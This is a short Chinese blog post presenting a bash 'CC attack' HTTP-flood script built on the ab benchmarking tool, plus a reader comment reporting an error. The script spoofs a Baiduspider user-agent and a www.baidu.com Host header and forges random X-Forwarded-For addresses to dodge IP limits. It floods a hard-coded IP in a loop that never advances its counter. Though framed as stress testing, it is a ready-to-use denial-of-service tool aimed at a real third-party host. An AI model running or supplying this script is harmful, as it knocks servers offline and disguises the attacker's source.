基本ab命令的cc攻击shell脚本
最近有需求要做个简单的压力测试,写了个简单的shell cc攻击脚本,功能都是基本ab命令的,ab支持的参数,脚本就可以都可以实现,但是我比较懒,没写那么多功能,主要有以下几个特点:
- 指定user-agent
- 指定攻击的IP和host头
- 可以伪造X-Forwarded-For,服务器配置错误时可以伪造访问IP
- 指定每个伪造IP的攻击并发和每个IP攻击次数
- 限制总伪造IP个数,实际攻击次数为total_count*ip_count
- 指定攻击的URI
ab功能比较多,有需求可以自己改造,此脚本比较耗cpu和网络,建议使用timeout命令限制下执行时间,以防服务器死机,脚本很简单不多说了
#!/bin/bash
#author : nixops.me
useragent='Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html);'
target_ip=103.235.46.40
fake_host=www.baidu.com
total_count=100000
ip_count=100
ip_concurrency=10
target_uri=index.php
function rand(){
min=$1
max=$(($2-$min+1))
num=$(cat /dev/urandom | head -n 10 | cksum | awk -F ' ' '{print $1}')
echo $(($num%$max+$min))
}
function ip(){
a=$(rand 1 254)
b=$(rand 1 254)
c=$(rand 1 254)
d=$(rand 1 254)
echo $a.$b.$c.$d
}
function attack(){
ab -n $ip_count -c $ip_concurrency -H "User-Agent: $useragent" -H "X-Forwarded-For: `ip`" -H "host: $fake_host" http://$target_ip/$target_uri >>/dev/null &
#timeout 1000 ab -n $ip_count -c $ip_concurrency -H "User-Agent: $useragent" -H "X-Forwarded-For: `ip`" -H "host: $fake_host" http://$target_ip/$target_uri >>/dev/null &
}
for ((i=0; i<$total_count;))
do
attack &
wait
done
限制执行时间为100秒,到期自动退出:
timeout 100 ./attack.sh
[...]脚本转载https://opswill.com/articles/http-flood-base-on-ab.html [...]
运行出现invalid unmber of requests报错